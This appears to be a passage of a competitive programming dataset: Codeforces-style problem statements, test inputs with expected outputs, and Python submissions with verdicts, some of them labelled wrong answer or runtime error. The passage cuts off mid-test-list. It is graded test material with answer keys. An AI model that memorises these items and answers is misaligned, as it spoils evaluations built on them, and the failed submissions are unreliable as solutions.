different. Output Specification: Print the number of digits in the city phone code. Demo Input: ['4\n00209\n00219\n00999\n00909\n', '2\n1\n2\n', '3\n77012345678999999999\n77012345678901234567\n77012345678998765432\n'] Demo Output: ['2\n', '0\n', '12\n'] Note: A prefix of string *t* is a string that is obtained by deleting zero or more digits from the end of string *t*. For example, string "00209" has 6 prefixes: "" (an empty prefix), "0", "00", "002", "0020", "00209". In the first sample the city phone code is string "00". In the second sample the city phone code is an empty string. In the third sample the city phone code is string "770123456789".
```python n=int(input()) l=[] for i in range(n): l.append(input()) m=len(l[0]) c=0 for i in range(m): f=0 x=l[0][i] for j in range(1,n): if(x!=l[j][i]): f=1 break if(f==0): c+=1 else: break print(c) ```
3
228
A
Is your horseshoe on the other hoof?
PROGRAMMING
800
[ "implementation" ]
null
null
Valera the Horse is going to the party with friends. He has been following the fashion trends for a while, and he knows that it is very popular to wear all horseshoes of different color. Valera has got four horseshoes left from the last year, but maybe some of them have the same color. In this case he needs to go to the store and buy some few more horseshoes, not to lose face in front of his stylish comrades. Fortunately, the store sells horseshoes of all colors under the sun and Valera has enough money to buy any four of them. However, in order to save the money, he would like to spend as little money as possible, so you need to help Valera and determine what is the minimum number of horseshoes he needs to buy to wear four horseshoes of different colors to a party.
The first line contains four space-separated integers *s*1,<=*s*2,<=*s*3,<=*s*4 (1<=≤<=*s*1,<=*s*2,<=*s*3,<=*s*4<=≤<=109) — the colors of horseshoes Valera has. Consider all possible colors indexed with integers.
Print a single integer — the minimum number of horseshoes Valera needs to buy.
[ "1 7 3 3\n", "7 7 7 7\n" ]
[ "1\n", "3\n" ]
none
500
[ { "input": "1 7 3 3", "output": "1" }, { "input": "7 7 7 7", "output": "3" }, { "input": "81170865 673572653 756938629 995577259", "output": "0" }, { "input": "3491663 217797045 522540872 715355328", "output": "0" }, { "input": "251590420 586975278 916631563 586975278", "output": "1" }, { "input": "259504825 377489979 588153796 377489979", "output": "1" }, { "input": "652588203 931100304 931100304 652588203", "output": "2" }, { "input": "391958720 651507265 391958720 651507265", "output": "2" }, { "input": "90793237 90793237 90793237 90793237", "output": "3" }, { "input": "551651653 551651653 551651653 551651653", "output": "3" }, { "input": "156630260 609654355 668943582 973622757", "output": "0" }, { "input": "17061017 110313588 434481173 796661222", "output": "0" }, { "input": "24975422 256716298 337790533 690960249", "output": "0" }, { "input": "255635360 732742923 798648949 883146723", "output": "0" }, { "input": "133315691 265159773 734556507 265159773", "output": "1" }, { "input": "28442865 741657755 978106882 978106882", "output": "1" }, { "input": "131245479 174845575 497483467 131245479", "output": "1" }, { "input": "139159884 616215581 958341883 616215581", "output": "1" }, { "input": "147784432 947653080 947653080 947653080", "output": "2" }, { "input": "94055790 756126496 756126496 94055790", "output": "2" }, { "input": "240458500 511952208 240458500 511952208", "output": "2" }, { "input": "681828506 972810624 972810624 681828506", "output": "2" }, { "input": "454961014 454961014 454961014 454961014", "output": "3" }, { "input": "915819430 915819430 915819430 915819430", "output": "3" }, { "input": "671645142 671645142 671645142 671645142", "output": "3" }, { "input": "132503558 132503558 132503558 132503558", "output": "3" }, { "input": "5 5 999999 6", "output": "1" }, { "input": "1 1 2 5", "output": "1" }, { "input": "2 1 2 3", "output": "1" }, { "input": "1 1 3 5", "output": "1" }, { "input": "1 1 3 3", "output": "2" }, { "input": "2 2 2 1", "output": "2" }, { "input": "3 1 1 1", "output": "2" }, { "input": "1 2 2 2", "output": "2" } ]
1,692,505,470
2,147,483,647
Python 3
OK
TESTS
34
92
0
a = list(map(int, input().split())) x = len(a) b = set(a) y = len(b) answer = x - y print(answer)
Title: Is your horseshoe on the other hoof? Time Limit: None seconds Memory Limit: None megabytes Problem Description: Valera the Horse is going to the party with friends. He has been following the fashion trends for a while, and he knows that it is very popular to wear all horseshoes of different color. Valera has got four horseshoes left from the last year, but maybe some of them have the same color. In this case he needs to go to the store and buy some few more horseshoes, not to lose face in front of his stylish comrades. Fortunately, the store sells horseshoes of all colors under the sun and Valera has enough money to buy any four of them. However, in order to save the money, he would like to spend as little money as possible, so you need to help Valera and determine what is the minimum number of horseshoes he needs to buy to wear four horseshoes of different colors to a party. Input Specification: The first line contains four space-separated integers *s*1,<=*s*2,<=*s*3,<=*s*4 (1<=≤<=*s*1,<=*s*2,<=*s*3,<=*s*4<=≤<=109) — the colors of horseshoes Valera has. Consider all possible colors indexed with integers. Output Specification: Print a single integer — the minimum number of horseshoes Valera needs to buy. Demo Input: ['1 7 3 3\n', '7 7 7 7\n'] Demo Output: ['1\n', '3\n'] Note: none
```python a = list(map(int, input().split())) x = len(a) b = set(a) y = len(b) answer = x - y print(answer) ```
3
996
A
Hit the Lottery
PROGRAMMING
800
[ "dp", "greedy" ]
null
null
Allen has a LOT of money. He has $n$ dollars in the bank. For security reasons, he wants to withdraw it in cash (we will not disclose the reasons here). The denominations for dollar bills are $1$, $5$, $10$, $20$, $100$. What is the minimum number of bills Allen could receive after withdrawing his entire balance?
The first and only line of input contains a single integer $n$ ($1 \le n \le 10^9$).
Output the minimum number of bills that Allen could receive.
[ "125\n", "43\n", "1000000000\n" ]
[ "3\n", "5\n", "10000000\n" ]
In the first sample case, Allen can withdraw this with a $100$ dollar bill, a $20$ dollar bill, and a $5$ dollar bill. There is no way for Allen to receive $125$ dollars in one or two bills. In the second sample case, Allen can withdraw two $20$ dollar bills and three $1$ dollar bills. In the third sample case, Allen can withdraw $100000000$ (ten million!) $100$ dollar bills.
500
[ { "input": "125", "output": "3" }, { "input": "43", "output": "5" }, { "input": "1000000000", "output": "10000000" }, { "input": "4", "output": "4" }, { "input": "5", "output": "1" }, { "input": "1", "output": "1" }, { "input": "74", "output": "8" }, { "input": "31", "output": "3" }, { "input": "59", "output": "8" }, { "input": "79", "output": "9" }, { "input": "7", "output": "3" }, { "input": "55", "output": "4" }, { "input": "40", "output": "2" }, { "input": "719", "output": "13" }, { "input": "847", "output": "13" }, { "input": "225", "output": "4" }, { "input": "4704", "output": "51" }, { "input": "1132", "output": "15" }, { "input": "7811", "output": "80" }, { "input": "7981", "output": "84" }, { "input": "82655", "output": "830" }, { "input": "6364", "output": "70" }, { "input": "74611", "output": "748" }, { "input": "45391", "output": "459" }, { "input": "620448", "output": "6210" }, { "input": "265145", "output": "2654" }, { "input": "671704", "output": "6721" }, { "input": "365173", "output": "3658" }, { "input": "7130872", "output": "71314" }, { "input": "9628747", "output": "96292" }, { "input": "8898399", "output": "88993" }, { "input": "9497953", "output": "94985" }, { "input": "19070947", "output": "190714" }, { "input": "20185520", "output": "201856" }, { "input": "91402248", "output": "914028" }, { "input": "27035533", "output": "270360" }, { "input": "22717528", "output": "227180" }, { "input": "24403439", "output": "244041" }, { "input": "163565555", "output": "1635659" }, { "input": "152541908", "output": "1525423" }, { "input": "668439837", "output": "6684403" }, { "input": "20", "output": "1" }, { "input": "999999999", "output": "10000009" }, { "input": "10", "output": "1" }, { "input": "7", "output": "3" }, { "input": "6", "output": "2" }, { "input": "99999999", "output": "1000009" }, { "input": "1000001", "output": "10001" }, { "input": "2521", "output": "27" } ]
1,691,672,817
2,147,483,647
PyPy 3-64
OK
TESTS
49
62
0
notes={100,20,10,5,1} a=int(input()) d=0 for x in notes: d+=a//x a%=x #print(d," ",x) print(int(d))
Title: Hit the Lottery Time Limit: None seconds Memory Limit: None megabytes Problem Description: Allen has a LOT of money. He has $n$ dollars in the bank. For security reasons, he wants to withdraw it in cash (we will not disclose the reasons here). The denominations for dollar bills are $1$, $5$, $10$, $20$, $100$. What is the minimum number of bills Allen could receive after withdrawing his entire balance? Input Specification: The first and only line of input contains a single integer $n$ ($1 \le n \le 10^9$). Output Specification: Output the minimum number of bills that Allen could receive. Demo Input: ['125\n', '43\n', '1000000000\n'] Demo Output: ['3\n', '5\n', '10000000\n'] Note: In the first sample case, Allen can withdraw this with a $100$ dollar bill, a $20$ dollar bill, and a $5$ dollar bill. There is no way for Allen to receive $125$ dollars in one or two bills. In the second sample case, Allen can withdraw two $20$ dollar bills and three $1$ dollar bills. In the third sample case, Allen can withdraw $100000000$ (ten million!) $100$ dollar bills.
```python notes={100,20,10,5,1} a=int(input()) d=0 for x in notes: d+=a//x a%=x #print(d," ",x) print(int(d)) ```
3
710
A
King Moves
PROGRAMMING
800
[ "implementation" ]
null
null
The only king stands on the standard chess board. You are given his position in format "cd", where *c* is the column from 'a' to 'h' and *d* is the row from '1' to '8'. Find the number of moves permitted for the king. Check the king's moves here [https://en.wikipedia.org/wiki/King_(chess)](https://en.wikipedia.org/wiki/King_(chess)).
The only line contains the king's position in the format "cd", where 'c' is the column from 'a' to 'h' and 'd' is the row from '1' to '8'.
Print the only integer *x* — the number of moves permitted for the king.
[ "e4\n" ]
[ "8\n" ]
none
0
[ { "input": "e4", "output": "8" }, { "input": "a1", "output": "3" }, { "input": "h8", "output": "3" }, { "input": "a4", "output": "5" }, { "input": "g7", "output": "8" }, { "input": "e1", "output": "5" }, { "input": "b2", "output": "8" }, { "input": "c7", "output": "8" }, { "input": "h6", "output": "5" }, { "input": "c8", "output": "5" }, { "input": "h2", "output": "5" }, { "input": "h5", "output": "5" }, { "input": "a8", "output": "3" }, { "input": "f8", "output": "5" }, { "input": "h1", "output": "3" }, { "input": "f2", "output": "8" }, { "input": "e8", "output": "5" }, { "input": "h3", "output": "5" }, { "input": "b8", "output": "5" }, { "input": "g8", "output": "5" }, { "input": "d8", "output": "5" }, { "input": "h4", "output": "5" }, { "input": "b1", "output": "5" }, { "input": "a2", "output": "5" } ]
1,483,459,016
2,147,483,647
Python 3
OK
TESTS
24
77
4,608,000
cd = input().strip() c = cd[0] d = cd[1] ans = 0 if c == 'a' or c == 'h': ans += 1 if d == '1' or d == '8': ans += 1 if ans == 2: print(3) elif ans == 1: print(5) else: print(8)
Title: King Moves Time Limit: None seconds Memory Limit: None megabytes Problem Description: The only king stands on the standard chess board. You are given his position in format "cd", where *c* is the column from 'a' to 'h' and *d* is the row from '1' to '8'. Find the number of moves permitted for the king. Check the king's moves here [https://en.wikipedia.org/wiki/King_(chess)](https://en.wikipedia.org/wiki/King_(chess)). Input Specification: The only line contains the king's position in the format "cd", where 'c' is the column from 'a' to 'h' and 'd' is the row from '1' to '8'. Output Specification: Print the only integer *x* — the number of moves permitted for the king. Demo Input: ['e4\n'] Demo Output: ['8\n'] Note: none
```python cd = input().strip() c = cd[0] d = cd[1] ans = 0 if c == 'a' or c == 'h': ans += 1 if d == '1' or d == '8': ans += 1 if ans == 2: print(3) elif ans == 1: print(5) else: print(8) ```
3
50
A
Domino piling
PROGRAMMING
800
[ "greedy", "math" ]
A. Domino piling
2
256
You are given a rectangular board of *M*<=×<=*N* squares. Also you are given an unlimited number of standard domino pieces of 2<=×<=1 squares. You are allowed to rotate the pieces. You are asked to place as many dominoes as possible on the board so as to meet the following conditions: 1. Each domino completely covers two squares. 2. No two dominoes overlap. 3. Each domino lies entirely inside the board. It is allowed to touch the edges of the board. Find the maximum number of dominoes, which can be placed under these restrictions.
In a single line you are given two integers *M* and *N* — board sizes in squares (1<=≤<=*M*<=≤<=*N*<=≤<=16).
Output one number — the maximal number of dominoes, which can be placed.
[ "2 4\n", "3 3\n" ]
[ "4\n", "4\n" ]
none
500
[ { "input": "2 4", "output": "4" }, { "input": "3 3", "output": "4" }, { "input": "1 5", "output": "2" }, { "input": "1 6", "output": "3" }, { "input": "1 15", "output": "7" }, { "input": "1 16", "output": "8" }, { "input": "2 5", "output": "5" }, { "input": "2 6", "output": "6" }, { "input": "2 7", "output": "7" }, { "input": "2 14", "output": "14" }, { "input": "2 15", "output": "15" }, { "input": "1 4", "output": "2" }, { "input": "2 16", "output": "16" }, { "input": "3 5", "output": "7" }, { "input": "3 6", "output": "9" }, { "input": "3 10", "output": "15" }, { "input": "3 14", "output": "21" }, { "input": "3 15", "output": "22" }, { "input": "3 16", "output": "24" }, { "input": "5 7", "output": "17" }, { "input": "16 16", "output": "128" }, { "input": "15 16", "output": "120" }, { "input": "2 3", "output": "3" }, { "input": "15 15", "output": "112" }, { "input": "14 16", "output": "112" }, { "input": "11 13", "output": "71" }, { "input": "5 16", "output": "40" }, { "input": "8 15", "output": "60" }, { "input": "2 2", "output": "2" }, { "input": "3 4", "output": "6" }, { "input": "4 4", "output": "8" }, { "input": "1 1", "output": "0" }, { "input": "1 2", "output": "1" }, { "input": "1 3", "output": "1" }, { "input": "14 15", "output": "105" } ]
1,668,157,428
2,147,483,647
PyPy 3-64
OK
TESTS
35
122
0
M,N=map(int,input().split(" ")) if M<=16 and N<=16: size = M*N dominos = (M*N)//2 print(dominos)
Title: Domino piling Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: You are given a rectangular board of *M*<=×<=*N* squares. Also you are given an unlimited number of standard domino pieces of 2<=×<=1 squares. You are allowed to rotate the pieces. You are asked to place as many dominoes as possible on the board so as to meet the following conditions: 1. Each domino completely covers two squares. 2. No two dominoes overlap. 3. Each domino lies entirely inside the board. It is allowed to touch the edges of the board. Find the maximum number of dominoes, which can be placed under these restrictions. Input Specification: In a single line you are given two integers *M* and *N* — board sizes in squares (1<=≤<=*M*<=≤<=*N*<=≤<=16). Output Specification: Output one number — the maximal number of dominoes, which can be placed. Demo Input: ['2 4\n', '3 3\n'] Demo Output: ['4\n', '4\n'] Note: none
```python M,N=map(int,input().split(" ")) if M<=16 and N<=16: size = M*N dominos = (M*N)//2 print(dominos) ```
3.9695
118
A
String Task
PROGRAMMING
1,000
[ "implementation", "strings" ]
null
null
Petya started to attend programming lessons. On the first lesson his task was to write a simple program. The program was supposed to do the following: in the given string, consisting if uppercase and lowercase Latin letters, it: - deletes all the vowels, - inserts a character "." before each consonant, - replaces all uppercase consonants with corresponding lowercase ones. Vowels are letters "A", "O", "Y", "E", "U", "I", and the rest are consonants. The program's input is exactly one string, it should return the output as a single string, resulting after the program's processing the initial string. Help Petya cope with this easy task.
The first line represents input string of Petya's program. This string only consists of uppercase and lowercase Latin letters and its length is from 1 to 100, inclusive.
Print the resulting string. It is guaranteed that this string is not empty.
[ "tour\n", "Codeforces\n", "aBAcAba\n" ]
[ ".t.r\n", ".c.d.f.r.c.s\n", ".b.c.b\n" ]
none
500
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1,697,111,237
2,147,483,647
Python 3
RUNTIME_ERROR
TESTS
1
60
0
vowels = "aeiouyAEIOUY" string = input() string1 = string.lower() result ='' for i in string1: if i in vowels: result +="." else: result += i if result[0]==".": print(result) else: result= "."+result if ".." in result: new_result = result.replace("..",".") print(new_result)
Title: String Task Time Limit: None seconds Memory Limit: None megabytes Problem Description: Petya started to attend programming lessons. On the first lesson his task was to write a simple program. The program was supposed to do the following: in the given string, consisting if uppercase and lowercase Latin letters, it: - deletes all the vowels, - inserts a character "." before each consonant, - replaces all uppercase consonants with corresponding lowercase ones. Vowels are letters "A", "O", "Y", "E", "U", "I", and the rest are consonants. The program's input is exactly one string, it should return the output as a single string, resulting after the program's processing the initial string. Help Petya cope with this easy task. Input Specification: The first line represents input string of Petya's program. This string only consists of uppercase and lowercase Latin letters and its length is from 1 to 100, inclusive. Output Specification: Print the resulting string. It is guaranteed that this string is not empty. Demo Input: ['tour\n', 'Codeforces\n', 'aBAcAba\n'] Demo Output: ['.t.r\n', '.c.d.f.r.c.s\n', '.b.c.b\n'] Note: none
```python vowels = "aeiouyAEIOUY" string = input() string1 = string.lower() result ='' for i in string1: if i in vowels: result +="." else: result += i if result[0]==".": print(result) else: result= "."+result if ".." in result: new_result = result.replace("..",".") print(new_result) ```
-1
158
A
Next Round
PROGRAMMING
800
[ "*special", "implementation" ]
null
null
"Contestant who earns a score equal to or greater than the *k*-th place finisher's score will advance to the next round, as long as the contestant earns a positive score..." — an excerpt from contest rules. A total of *n* participants took part in the contest (*n*<=≥<=*k*), and you already know their scores. Calculate how many participants will advance to the next round.
The first line of the input contains two integers *n* and *k* (1<=≤<=*k*<=≤<=*n*<=≤<=50) separated by a single space. The second line contains *n* space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (0<=≤<=*a**i*<=≤<=100), where *a**i* is the score earned by the participant who got the *i*-th place. The given sequence is non-increasing (that is, for all *i* from 1 to *n*<=-<=1 the following condition is fulfilled: *a**i*<=≥<=*a**i*<=+<=1).
Output the number of participants who advance to the next round.
[ "8 5\n10 9 8 7 7 7 5 5\n", "4 2\n0 0 0 0\n" ]
[ "6\n", "0\n" ]
In the first example the participant on the 5th place earned 7 points. As the participant on the 6th place also earned 7 points, there are 6 advancers. In the second example nobody got a positive score.
500
[ { "input": "8 5\n10 9 8 7 7 7 5 5", "output": "6" }, { "input": "4 2\n0 0 0 0", "output": "0" }, { "input": "5 1\n1 1 1 1 1", "output": "5" }, { "input": "5 5\n1 1 1 1 1", "output": "5" }, { "input": "1 1\n10", "output": "1" }, { "input": "17 14\n16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0", "output": "14" }, { "input": "5 5\n3 2 1 0 0", "output": "3" }, { "input": "8 6\n10 9 8 7 7 7 5 5", "output": "6" }, { "input": "8 7\n10 9 8 7 7 7 5 5", "output": "8" }, { "input": "8 4\n10 9 8 7 7 7 5 5", "output": "6" }, { "input": "8 3\n10 9 8 7 7 7 5 5", "output": "3" }, { "input": "8 1\n10 9 8 7 7 7 5 5", "output": "1" }, { "input": "8 2\n10 9 8 7 7 7 5 5", "output": "2" }, { "input": "1 1\n100", "output": "1" }, { "input": "1 1\n0", "output": "0" }, { "input": "50 25\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "50" }, { "input": "50 25\n2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "25" }, { "input": "50 25\n2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "26" }, { "input": "50 25\n2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "50" }, { "input": "11 5\n100 99 98 97 96 95 94 93 92 91 90", "output": "5" }, { "input": "10 4\n100 81 70 69 64 43 34 29 15 3", "output": "4" }, { "input": "11 6\n87 71 62 52 46 46 43 35 32 25 12", "output": "6" }, { "input": "17 12\n99 88 86 82 75 75 74 65 58 52 45 30 21 16 7 2 2", "output": "12" }, { "input": "20 3\n98 98 96 89 87 82 82 80 76 74 74 68 61 60 43 32 30 22 4 2", "output": "3" }, { "input": "36 12\n90 87 86 85 83 80 79 78 76 70 69 69 61 61 59 58 56 48 45 44 42 41 33 31 27 25 23 21 20 19 15 14 12 7 5 5", "output": "12" }, { "input": "49 8\n99 98 98 96 92 92 90 89 89 86 86 85 83 80 79 76 74 69 67 67 58 56 55 51 49 47 47 46 45 41 41 40 39 34 34 33 25 23 18 15 13 13 11 9 5 4 3 3 1", "output": "9" }, { "input": "49 29\n100 98 98 96 96 96 95 87 85 84 81 76 74 70 63 63 63 62 57 57 56 54 53 52 50 47 45 41 41 39 38 31 30 28 27 26 23 22 20 15 15 11 7 6 6 4 2 1 0", "output": "29" }, { "input": "49 34\n99 98 96 96 93 92 90 89 88 86 85 85 82 76 73 69 66 64 63 63 60 59 57 57 56 55 54 54 51 48 47 44 42 42 40 39 38 36 33 26 24 23 19 17 17 14 12 7 4", "output": "34" }, { "input": "50 44\n100 100 99 97 95 91 91 84 83 83 79 71 70 69 69 62 61 60 59 59 58 58 58 55 55 54 52 48 47 45 44 44 38 36 32 31 28 28 25 25 24 24 24 22 17 15 14 13 12 4", "output": "44" }, { "input": "50 13\n99 95 94 94 88 87 81 79 78 76 74 72 72 69 68 67 67 67 66 63 62 61 58 57 55 55 54 51 50 50 48 48 42 41 38 35 34 32 31 30 26 24 13 13 12 6 5 4 3 3", "output": "13" }, { "input": "50 30\n100 98 96 94 91 89 88 81 81 81 81 81 76 73 72 71 70 69 66 64 61 59 59 56 52 50 49 48 43 39 36 35 34 34 31 29 27 26 24 22 16 16 15 14 14 14 9 7 4 3", "output": "30" }, { "input": "2 1\n10 10", "output": "2" }, { "input": "2 2\n10 10", "output": "2" }, { "input": "2 2\n10 0", "output": "1" }, { "input": "2 2\n10 1", "output": "2" }, { "input": "2 1\n10 0", "output": "1" }, { "input": "2 1\n10 2", "output": "1" }, { "input": "50 13\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0", "output": "0" }, { "input": "50 1\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0", "output": "0" }, { "input": "50 50\n0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0", "output": "0" }, { "input": "10 1\n5 5 5 3 3 3 0 0 0 0", "output": "3" }, { "input": "10 2\n5 5 5 3 3 3 0 0 0 0", "output": "3" }, { "input": "10 3\n5 5 5 3 3 3 0 0 0 0", "output": "3" }, { "input": "10 4\n5 5 5 3 3 3 0 0 0 0", "output": "6" }, { "input": "10 5\n5 5 5 3 3 3 0 0 0 0", "output": "6" }, { "input": "10 6\n5 5 5 3 3 3 0 0 0 0", "output": "6" }, { "input": "10 7\n5 5 5 3 3 3 0 0 0 0", "output": "6" }, { "input": "10 8\n5 5 5 3 3 3 0 0 0 0", "output": "6" }, { "input": "10 9\n5 5 5 3 3 3 0 0 0 0", "output": "6" }, { "input": "10 10\n5 5 5 3 3 3 0 0 0 0", "output": "6" } ]
1,696,883,121
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
1
62
0
n, k = input().split() n, k = int(n), int(k) results = input().split() results = [int(res) for res in results] k_value = results[k] answer = 0 for result in results: if result >= k_value: answer += 1 else: break print(answer)
Title: Next Round Time Limit: None seconds Memory Limit: None megabytes Problem Description: "Contestant who earns a score equal to or greater than the *k*-th place finisher's score will advance to the next round, as long as the contestant earns a positive score..." — an excerpt from contest rules. A total of *n* participants took part in the contest (*n*<=≥<=*k*), and you already know their scores. Calculate how many participants will advance to the next round. Input Specification: The first line of the input contains two integers *n* and *k* (1<=≤<=*k*<=≤<=*n*<=≤<=50) separated by a single space. The second line contains *n* space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (0<=≤<=*a**i*<=≤<=100), where *a**i* is the score earned by the participant who got the *i*-th place. The given sequence is non-increasing (that is, for all *i* from 1 to *n*<=-<=1 the following condition is fulfilled: *a**i*<=≥<=*a**i*<=+<=1). Output Specification: Output the number of participants who advance to the next round. Demo Input: ['8 5\n10 9 8 7 7 7 5 5\n', '4 2\n0 0 0 0\n'] Demo Output: ['6\n', '0\n'] Note: In the first example the participant on the 5th place earned 7 points. As the participant on the 6th place also earned 7 points, there are 6 advancers. In the second example nobody got a positive score.
```python n, k = input().split() n, k = int(n), int(k) results = input().split() results = [int(res) for res in results] k_value = results[k] answer = 0 for result in results: if result >= k_value: answer += 1 else: break print(answer) ```
0
69
A
Young Physicist
PROGRAMMING
1,000
[ "implementation", "math" ]
A. Young Physicist
2
256
A guy named Vasya attends the final grade of a high school. One day Vasya decided to watch a match of his favorite hockey team. And, as the boy loves hockey very much, even more than physics, he forgot to do the homework. Specifically, he forgot to complete his physics tasks. Next day the teacher got very angry at Vasya and decided to teach him a lesson. He gave the lazy student a seemingly easy task: You are given an idle body in space and the forces that affect it. The body can be considered as a material point with coordinates (0; 0; 0). Vasya had only to answer whether it is in equilibrium. "Piece of cake" — thought Vasya, we need only to check if the sum of all vectors is equal to 0. So, Vasya began to solve the problem. But later it turned out that there can be lots and lots of these forces, and Vasya can not cope without your help. Help him. Write a program that determines whether a body is idle or is moving by the given vectors of forces.
The first line contains a positive integer *n* (1<=≤<=*n*<=≤<=100), then follow *n* lines containing three integers each: the *x**i* coordinate, the *y**i* coordinate and the *z**i* coordinate of the force vector, applied to the body (<=-<=100<=≤<=*x**i*,<=*y**i*,<=*z**i*<=≤<=100).
Print the word "YES" if the body is in equilibrium, or the word "NO" if it is not.
[ "3\n4 1 7\n-2 4 -1\n1 -5 -3\n", "3\n3 -1 7\n-5 2 -4\n2 -1 -3\n" ]
[ "NO", "YES" ]
none
500
[ { "input": "3\n4 1 7\n-2 4 -1\n1 -5 -3", "output": "NO" }, { "input": "3\n3 -1 7\n-5 2 -4\n2 -1 -3", "output": "YES" }, { "input": "10\n21 32 -46\n43 -35 21\n42 2 -50\n22 40 20\n-27 -9 38\n-4 1 1\n-40 6 -31\n-13 -2 34\n-21 34 -12\n-32 -29 41", "output": "NO" }, { "input": "10\n25 -33 43\n-27 -42 28\n-35 -20 19\n41 -42 -1\n49 -39 -4\n-49 -22 7\n-19 29 41\n8 -27 -43\n8 34 9\n-11 -3 33", "output": "NO" }, { "input": "10\n-6 21 18\n20 -11 -8\n37 -11 41\n-5 8 33\n29 23 32\n30 -33 -11\n39 -49 -36\n28 34 -49\n22 29 -34\n-18 -6 7", "output": "NO" }, { "input": "10\n47 -2 -27\n0 26 -14\n5 -12 33\n2 18 3\n45 -30 -49\n4 -18 8\n-46 -44 -41\n-22 -10 -40\n-35 -21 26\n33 20 38", "output": "NO" }, { "input": "13\n-3 -36 -46\n-11 -50 37\n42 -11 -15\n9 42 44\n-29 -12 24\n3 9 -40\n-35 13 50\n14 43 18\n-13 8 24\n-48 -15 10\n50 9 -50\n21 0 -50\n0 0 -6", "output": "YES" }, { "input": "14\n43 23 17\n4 17 44\n5 -5 -16\n-43 -7 -6\n47 -48 12\n50 47 -45\n2 14 43\n37 -30 15\n4 -17 -11\n17 9 -45\n-50 -3 -8\n-50 0 0\n-50 0 0\n-16 0 0", "output": "YES" }, { "input": "13\n29 49 -11\n38 -11 -20\n25 1 -40\n-11 28 11\n23 -19 1\n45 -41 -17\n-3 0 -19\n-13 -33 49\n-30 0 28\n34 17 45\n-50 9 -27\n-50 0 0\n-37 0 0", "output": "YES" }, { "input": "12\n3 28 -35\n-32 -44 -17\n9 -25 -6\n-42 -22 20\n-19 15 38\n-21 38 48\n-1 -37 -28\n-10 -13 -50\n-5 21 29\n34 28 50\n50 11 -49\n34 0 0", "output": "YES" }, { "input": "37\n-64 -79 26\n-22 59 93\n-5 39 -12\n77 -9 76\n55 -86 57\n83 100 -97\n-70 94 84\n-14 46 -94\n26 72 35\n14 78 -62\n17 82 92\n-57 11 91\n23 15 92\n-80 -1 1\n12 39 18\n-23 -99 -75\n-34 50 19\n-39 84 -7\n45 -30 -39\n-60 49 37\n45 -16 -72\n33 -51 -56\n-48 28 5\n97 91 88\n45 -82 -11\n-21 -15 -90\n-53 73 -26\n-74 85 -90\n-40 23 38\n100 -13 49\n32 -100 -100\n0 -100 -70\n0 -100 0\n0 -100 0\n0 -100 0\n0 -100 0\n0 -37 0", "output": "YES" }, { "input": "4\n68 3 100\n68 21 -100\n-100 -24 0\n-36 0 0", "output": "YES" }, { "input": "33\n-1 -46 -12\n45 -16 -21\n-11 45 -21\n-60 -42 -93\n-22 -45 93\n37 96 85\n-76 26 83\n-4 9 55\n7 -52 -9\n66 8 -85\n-100 -54 11\n-29 59 74\n-24 12 2\n-56 81 85\n-92 69 -52\n-26 -97 91\n54 59 -51\n58 21 -57\n7 68 56\n-47 -20 -51\n-59 77 -13\n-85 27 91\n79 60 -56\n66 -80 5\n21 -99 42\n-31 -29 98\n66 93 76\n-49 45 61\n100 -100 -100\n100 -100 -100\n66 -75 -100\n0 0 -100\n0 0 -87", "output": "YES" }, { "input": "3\n1 2 3\n3 2 1\n0 0 0", "output": "NO" }, { "input": "2\n5 -23 12\n0 0 0", "output": "NO" }, { "input": "1\n0 0 0", "output": "YES" }, { "input": "1\n1 -2 0", "output": "NO" }, { "input": "2\n-23 77 -86\n23 -77 86", "output": "YES" }, { "input": "26\n86 7 20\n-57 -64 39\n-45 6 -93\n-44 -21 100\n-11 -49 21\n73 -71 -80\n-2 -89 56\n-65 -2 7\n5 14 84\n57 41 13\n-12 69 54\n40 -25 27\n-17 -59 0\n64 -91 -30\n-53 9 42\n-54 -8 14\n-35 82 27\n-48 -59 -80\n88 70 79\n94 57 97\n44 63 25\n84 -90 -40\n-100 100 -100\n-92 100 -100\n0 10 -100\n0 0 -82", "output": "YES" }, { "input": "42\n11 27 92\n-18 -56 -57\n1 71 81\n33 -92 30\n82 83 49\n-87 -61 -1\n-49 45 49\n73 26 15\n-22 22 -77\n29 -93 87\n-68 44 -90\n-4 -84 20\n85 67 -6\n-39 26 77\n-28 -64 20\n65 -97 24\n-72 -39 51\n35 -75 -91\n39 -44 -8\n-25 -27 -57\n91 8 -46\n-98 -94 56\n94 -60 59\n-9 -95 18\n-53 -37 98\n-8 -94 -84\n-52 55 60\n15 -14 37\n65 -43 -25\n94 12 66\n-8 -19 -83\n29 81 -78\n-58 57 33\n24 86 -84\n-53 32 -88\n-14 7 3\n89 97 -53\n-5 -28 -91\n-100 100 -6\n-84 100 0\n0 100 0\n0 70 0", "output": "YES" }, { "input": "3\n96 49 -12\n2 -66 28\n-98 17 -16", "output": "YES" }, { "input": "5\n70 -46 86\n-100 94 24\n-27 63 -63\n57 -100 -47\n0 -11 0", "output": "YES" }, { "input": "18\n-86 -28 70\n-31 -89 42\n31 -48 -55\n95 -17 -43\n24 -95 